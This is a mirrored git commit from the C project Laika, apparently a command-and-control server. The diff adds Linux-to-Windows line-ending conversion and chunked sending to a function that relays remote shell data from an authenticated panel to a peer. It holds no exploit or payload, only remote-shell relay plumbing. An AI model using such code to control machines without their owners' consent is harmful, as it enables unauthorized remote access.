1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-04 15:20:07 +00:00

Added line-conversions for shells

This commit is contained in:
2022-03-17 23:49:25 -05:00
parent 6f60c7a5b7
commit 7e9597902f
3 changed files with 43 additions and 10 deletions

View File

@@ -1,4 +1,5 @@
#include "lerror.h"
#include "lmem.h"
#include "cnc.h"
#include "cpanel.h"
@@ -143,8 +144,45 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
/* read data */
laikaS_read(&authPeer->sock, data, sz);
/* forward data to peer */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_write(&peer->sock, data, sz);
laikaS_endVarPacket(peer);
if (authPeer->osType == peer->osType) {
/* forward raw data to peer */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_write(&peer->sock, data, sz);
laikaS_endVarPacket(peer);
} else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
uint8_t *buf = NULL;
int i, count = 0, cap = 2;
/* convert line endings */
for (i = 0; i < sz; i++) {
laikaM_growarray(uint8_t, buf, 2, count, cap);
switch (data[i]) {
case '\n':
buf[count++] = '\r';
buf[count++] = '\n';
break;
default:
buf[count++] = data[i];
}
}
/* send buffer (99% of the time this isn't necessary, but the 1% can make
buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
i = count;
while (i > LAIKA_SHELL_DATA_MAX_LENGTH) {
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_write(&peer->sock, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH);
laikaS_endVarPacket(peer);
i -= LAIKA_SHELL_DATA_MAX_LENGTH;
}
/* send the leftovers */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_write(&peer->sock, buf + (count - i), i);
laikaS_endVarPacket(peer);
laikaM_free(buf);
}
}